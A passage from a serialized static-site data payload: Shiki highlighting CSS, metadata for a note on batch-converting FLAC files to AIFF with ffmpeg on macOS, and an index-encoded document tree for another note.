var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":27,"searchDepth":28,"depth":28,"links":1138},[],"2022-08-10","Однострочник для конвертации всех FLAC файлов в AIFF через ffmpeg на macOS",{},"\u002Fnotes\u002Fdevops\u002Fbatch-convert-music-files-flac-aiff-ffmpeg",{"title":1026,"description":1140},"notes\u002Fdevops\u002Fbatch-convert-music-files-flac-aiff-ffmpeg",[1146,1147,1022,1148],"ffmpeg","audio","macos","eSrfOKrhJhEudfeuEd5ti516NYPB5St5RfesDpohskc",[1151],{"id":40,"title":41,"author":42,"body":1152,"date":660,"description":661,"extension":31,"image":6,"meta":1563,"navigation":33,"path":663,"seo":1564,"stem":665,"tags":1565,"__hash__":671},{"type":8,"value":1153,"toc":1552},[1154,1156,1158,1162,1172,1174,1189,1191,1195,1197,1202,1206,1208,1232,1234,1236,1238,1242,1250,1256,1258,1262,1274,1276,1278,1282,1522,1526,1532,1534,1536,1540,1550],[11,1155,48],{"id":47},[50,1157,53],{"id":52},[15,1159,1160,60],{},[57,1161,59],{},[15,1163,63,1164,67,1166,72,1168,76,1170,80],{},[57,1165,66],{},[69,1167,71],{},[69,1169,75],{},[69,1171,79],{},[50,1173,84],{"id":83},[15,1175,1176,90,1178,1181,1183,102,1185,1187,108],{},[57,1177,89],{},[19,1179,95],{"href":93,"rel":1180},[23],[97,1182],{},[57,1184,101],{},[97,1186],{},[57,1188,107],{},[50,1190,112],{"id":111},[15,1192,115,1193,119],{},[69,1194,118],{},[15,1196,122],{},[124,1198,1200],{"className":1199,"code":128,"language":129},[127],[69,1201,128],{"__ignoreMap":27},[15,1203,134,1204,138],{},[69,1205,137],{},[15,1207,141],{},[124,1209,1210],{"className":144,"code":145,"language":146,"meta":27,"style":27},[69,1211,1212,1216,1220,1224,1228],{"__ignoreMap":27},[150,1213,1214],{"class":152,"line":153},[150,1215,156],{},[150,1217,1218],{"class":152,"line":28},[150,1219,161],{},[150,1221,1222],{"class":152,"line":164},[150,1223,167],{"emptyLinePlaceholder":33},[150,1225,1226],{"class":152,"line":170},[150,1227,173],{},[150,1229,1230],{"class":152,"line":176},[150,1231,179],{},[15,1233,182],{},[50,1235,186],{"id":185},[188,1237,191],{"id":190},[15,1239,194,1240,198],{},[69,1241,197],{},[124,1243,1244],{"className":144,"code":201,"language":146,"meta":27,"style":27},[69,1245,1246],{"__ignoreMap":27},[150,1247,1248],{"class":152,"line":153},[150,1249,201],{},[15,1251,210,1252,214,1254,218],{},[69,1253,213],{},[57,1255,217],{},[188,1257,222],{"id":221},[15,1259,225,1260,229],{},[69,1261,228],{},[124,1263,1264],{"className":144,"code":232,"language":146,"meta":27,"style":27},[69,1265,1266,1270],{"__ignoreMap":27},[150,1267,1268],{"class":152,"line":153},[150,1269,239],{},[150,1271,1272],{"class":152,"line":28},[150,1273,244],{},[15,1275,247],{},[188,1277,251],{"id":250},[15,1279,254,1280,258],{},[69,1281,257],{},[124,1283,1284],{"className":261,"code":262,"language":263,"meta":27,"style":27},[69,1285,1286,1290,1294,1298,1302,1306,1310,1314,1318,1322,1326,1330,1334,1338,1342,1346,1350,1354,1358,1362,1366,1370,1374,1378,1382,1386,1390,1394,1398,1402,1406,1410,1414,1418,1422,1426,1430,1434,1438,1442,1446,1450,1454,1458,1462,1466,1470,1474,1478,1482,1486,1490,1494,1498,1502,1506,1510,1514,1518],{"__ignoreMap":27},[150,1287,1288],{"class":152,"line":153},[150,1289,270],{},[150,1291,1292],{"class":152,"line":28},[150,1293,275],{},[150,1295,1296],{"class":152,"line":164},[150,1297,280],{},[150,1299,1300],{"class":152,"line":170},[150,1301,167],{"emptyLinePlaceholder":33},[150,1303,1304],{"class":152,"line":176},[150,1305,289],{},[150,1307,1308],{"class":152,"line":292},[150,1309,295],{},[150,1311,1312],{"class":152,"line":298},[150,1313,301],{},[150,1315,1316],{"class":152,"line":304},[150,1317,307],{},[150,1319,1320],{"class":152,"line":310},[150,1321,167],{"emptyLinePlaceholder":33},[150,1323,1324],{"class":152,"line":315},[150,1325,318],{},[150,1327,1328],{"class":152,"line":321},[150,1329,324],{},[150,1331,1332],{"class":152,"line":327},[150,1333,330],{},[150,1335,1336],{"class":152,"line":333},[150,1337,167],{"emptyLinePlaceholder":33},[150,1339,1340],{"class":152,"line":338},[150,1341,167],{"emptyLinePlaceholder":33},[150,1343,1344],{"class":152,"line":343},[150,1345,346],{},[150,1347,1348],{"class":152,"line":349},[150,1349,352],{},[150,1351,1352],{"class":152,"line":355},[150,1353,358],{},[150,1355,1356],{"class":152,"line":361},[150,1357,364],{},[150,1359,1360],{"class":152,"line":367},[150,1361,370],{},[150,1363,1364],{"class":152,"line":373},[150,1365,167],{"emptyLinePlaceholder":33},[150,1367,1368],{"class":152,"line":378},[150,1369,167],{"emptyLinePlaceholder":33},[150,1371,1372],{"class":152,"line":383},[150,1373,386],{},[150,1375,1376],{"class":152,"line":389},[150,1377,392],{},[150,1379,1380],{"class":152,"line":395},[150,1381,398],{},[150,1383,1384],{"class":152,"line":401},[150,1385,404],{},[150,1387,1388],{"class":152,"line":407},[150,1389,410],{},[150,1391,1392],{"class":152,"line":413},[150,1393,416],{},[150,1395,1396],{"class":152,"line":419},[150,1397,422],{},[150,1399,1400],{"class":152,"line":425},[150,1401,428],{},[150,1403,1404],{"class":152,"line":431},[150,1405,167],{"emptyLinePlaceholder":33},[150,1407,1408],{"class":152,"line":436},[150,1409,167],{"emptyLinePlaceholder":33},[150,1411,1412],{"class":152,"line":441},[150,1413,444],{},[150,1415,1416],{"class":152,"line":447},[150,1417,450],{},[150,1419,1420],{"class":152,"line":453},[150,1421,456],{},[150,1423,1424],{"class":152,"line":459},[150,1425,410],{},[150,1427,1428],{"class":152,"line":464},[150,1429,467],{},[150,1431,1432],{"class":152,"line":470},[150,1433,473],{},[150,1435,1436],{"class":152,"line":476},[150,1437,167],{"emptyLinePlaceholder":33},[150,1439,1440],{"class":152,"line":481},[150,1441,167],{"emptyLinePlaceholder":33},[150,1443,1444],{"class":152,"line":486},[150,1445,489],{},[150,1447,1448],{"class":152,"line":492},[150,1449,495],{},[150,1451,1452],{"class":152,"line":498},[150,1453,501],{},[150,1455,1456],{"class":152,"line":504},[150,1457,507],{},[150,1459,1460],{"class":152,"line":510},[150,1461,513],{},[150,1463,1464],{"class":152,"line":516},[150,1465,519],{},[150,1467,1468],{"class":152,"line":522},[150,1469,525],{},[150,1471,1472],{"class":152,"line":528},[150,1473,531],{},[150,1475,1476],{"class":152,"line":534},[150,1477,537],{},[150,1479,1480],{"class":152,"line":540},[150,1481,543],{},[150,1483,1484],{"class":152,"line":546},[150,1485,167],{"emptyLinePlaceholder":33},[150,1487,1488],{"class":152,"line":551},[150,1489,167],{"emptyLinePlaceholder":33},[150,1491,1492],{"class":152,"line":556},[150,1493,559],{},[150,1495,1496],{"class":152,"line":562},[150,1497,565],{},[150,1499,1500],{"class":152,"line":568},[150,1501,571],{},[150,1503,1504],{"class":152,"line":574},[150,1505,577],{},[150,1507,1508],{"class":152,"line":580},[150,1509,167],{"emptyLinePlaceholder":33},[150,1511,1512],{"class":152,"line":585},[150,1513,167],{"emptyLinePlaceholder":33},[150,1515,1516],{"class":152,"line":590},[150,1517,593],{},[150,1519,1520],{"class":152,"line":596},[150,1521,599],{},[15,1523,602,1524],{},[69,1525,605],{},[15,1527,608,1528,612,1530,616],{},[69,1529,611],{},[69,1531,615],{},[50,1533,620],{"id":619},[15,1535,623],{},[15,1537,1538],{},[57,1539,628],{},[630,1541,1542,1544,1546],{},[633,1543,635],{},[633,1545,638],{},[633,1547,641,1548],{},[69,1549,644],{},[646,1551,648],{},{"title":27,"searchDepth":28,"depth":28,"links":1553},[1554,1555,1556,1557,1562],{"id":52,"depth":28,"text":53},{"id":83,"depth":28,"text":84},{"id":111,"depth":28,"text":112},{"id":185,"depth":28,"text":186,"children":1558},[1559,1560,1561],{"id":190,"depth":164,"text":191},{"id":221,"depth":164,"text":222},{"id":250,"depth":164,"text":251},{"id":619,"depth":28,"text":620},{},{"title":41,"description":661},[667,668,669,670],1776084468359]